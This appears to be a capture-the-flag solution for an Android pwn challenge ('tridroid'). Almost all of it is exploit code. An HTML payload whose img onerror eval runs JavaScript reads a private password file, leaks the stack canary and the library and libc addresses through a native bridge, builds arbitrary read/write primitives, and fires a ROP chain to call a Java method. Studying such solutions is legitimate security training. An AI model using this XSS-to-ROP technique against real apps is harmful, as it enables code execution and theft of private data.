Tags: javascript ropchain pwn native-library android 

Rating: 5.0

<span id="out">
    alert("PWN!");

    function push(hex){
        return bridge.manageStack(password, 'push', hex);
    }
    function pop(){
        return bridge.manageStack(password, 'pop', '');
    }
    function modify(hex){
        return bridge.manageStack(password, 'modify', hex);
    }
    function top(){
        return bridge.manageStack(password, 'top', '');
    }

    function read(address){
        payload = '';
        for(var i = 0; i != 16; i++){ payload += 'aa'; }
        push(payload);
        payload += address.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        modify(payload);
        pop();
        return top();
    }

    function write(address, data){
        payload = '';
        for(var i = 0; i != 16; i++){ payload += 'bb'; }
        push(payload);
        payload += address.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        modify(payload);
        pop();
        modify(data);
    }

    function reqListener () {
        password = this.responseText;

        push('41414141');
        push('42424242');
        push('43434343');

        // leak library base address
        payload = '';
        for(var i = 0; i != 8; i++){ payload += '11'; }
        modify( payload );
        LIBRARY_leak = parseInt(top().substring(16).match(/../g).reverse().join(''), 16) - 0x16FF;

        // leak stack canary value
        for(var i = 0; i != 32; i++){ payload += '22'; }
        modify( payload );
        leak = top().substring(80);
        CANARY_leak = leak.substring(0, 16);

        // leak libc base address
        leak = read( LIBRARY_leak + 0x2F70 );
        LIBC_leak = parseInt(leak.match(/../g).reverse().join(''), 16) - 0x43410;

        // leak rbp value from the stack
        push('41414141');
        push('42424242');
        push('43434343');
        payload = '';
        for(var i = 0; i != 40; i++){ payload += 'cc'; }
        payload += CANARY_leak;
        modify(payload);
        RBP_leak = parseInt(top().substring(96).padEnd(16, '0').match(/../g).reverse().join(''), 16);


        alert("Library= 0x" + LIBRARY_leak.toString(16));
        alert("Canary= 0x" + CANARY_leak.toString(16));
        alert("Libc= 0x" + LIBC_leak.toString(16));
        alert("rbp= 0x" + RBP_leak.toString(16));


        // write "showFlag" in libc
        write(LIBC_leak + 0xD9030, '73686F77466C616700');

        // write "()V" in libc
        write(LIBC_leak + 0xD9010, '28295600');

        // ropchain
        pop_rdi = 0x0000000000042c92 + LIBC_leak;
        rop_env =  parseInt(read(RBP_leak - 0x60).match(/../g).reverse().join(''), 16);
        pop_rsi = 0x0000000000042d38 + LIBC_leak;
        rop_thisObj = parseInt(read(RBP_leak - 0x68).match(/../g).reverse().join(''), 16);
        pop_rdx = 0x0000000000046175 + LIBC_leak;
        pop_rcx = 0x0000000000042e58 + LIBC_leak;
        rop_ret = 0x0000000000042af0 + LIBC_leak;
        invokeJavaMethod = LIBRARY_leak + 0xFA0;

        payload3 = '';
        for(var i = 0; i != 40; i++){ payload3 += '44'; }
        payload3 += CANARY_leak;
        payload3 += '4242424242424242'; //rbp

        payload3 += pop_rdi.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        payload3 += rop_env.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

        payload3 += pop_rsi.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        payload3 += rop_thisObj.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        
        payload3 += pop_rdx.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        payload3 += (LIBC_leak + 0xD9030).toString(16).match(/../g).reverse().join('').padEnd(16, '0');

        payload3 += pop_rcx.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
        payload3 += (LIBC_leak + 0xD9010).toString(16).match(/../g).reverse().join('').padEnd(16, '0');

        payload3 += rop_ret.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

        payload3 += invokeJavaMethod.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

        // trigger ropchain and get flag!
        alert("ROPCHAIN!")
        modify(payload3);

    }


    var oReq = new XMLHttpRequest();
    oReq.addEventListener("load", reqListener);
    oReq.open("GET", "file:///data/data/com.google.ctf.pwn.tridroid/files/password.txt");
    oReq.send();

</span>

<img src="empty.gif" onerror="eval(document.getElementById('out').innerHTML);" />
Original writeup (https://fineas.github.io/FeDEX/post/tridroid.html).